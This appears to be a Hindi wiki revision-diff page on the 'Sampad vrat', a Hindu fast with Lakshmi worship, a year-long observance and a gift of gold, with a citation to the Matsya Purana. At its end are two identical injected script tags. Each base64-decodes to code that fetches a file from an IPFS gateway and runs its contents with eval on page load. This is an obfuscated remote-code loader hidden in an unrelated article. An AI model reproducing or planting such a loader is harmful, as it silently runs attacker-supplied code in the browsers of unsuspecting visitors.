"सम्पद् व्रत": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
छो (Text replace - "==सम्बंधित लिंक==" to "==संबंधित लेख==")
छो (Text replace - " {{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "")
पंक्ति 5: पंक्ति 5:
*कर्ता प्रत्येक जन्म में घनी रहता है और [[विष्णुलोक]] में जाता है।
*कर्ता प्रत्येक जन्म में घनी रहता है और [[विष्णुलोक]] में जाता है।
*यह [[षष्ठी]] का व्रत है।<ref>कृत्यकल्पतरु (व्रत खण्ड 441-442, [[मत्स्य पुराण]] 101|19-20); वर्षक्रियाकौमुदी (34, मत्स्यपुराण से उद्धरण)</ref>
*यह [[षष्ठी]] का व्रत है।<ref>कृत्यकल्पतरु (व्रत खण्ड 441-442, [[मत्स्य पुराण]] 101|19-20); वर्षक्रियाकौमुदी (34, मत्स्यपुराण से उद्धरण)</ref>
{{लेख प्रगति
|आधार=आधार1
|प्रारम्भिक=
|माध्यमिक=
|पूर्णता=
|शोध=
}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>

07:05, 7 दिसम्बर 2010 का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
  • पंचमी को लक्ष्मी पूजन एवं उपवास करना चाहिए।
  • सम्पद् व्रत एक वर्ष तक करन चाहिए।
  • वर्ष के अन्त में कलश में कुछ सोना रखकर दान करना चाहिए।
  • कर्ता प्रत्येक जन्म में घनी रहता है और विष्णुलोक में जाता है।
  • यह षष्ठी का व्रत है।[1]

टीका टिप्पणी और संदर्भ

  1. कृत्यकल्पतरु (व्रत खण्ड 441-442, मत्स्य पुराण 101|19-20); वर्षक्रियाकौमुदी (34, मत्स्यपुराण से उद्धरण)

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>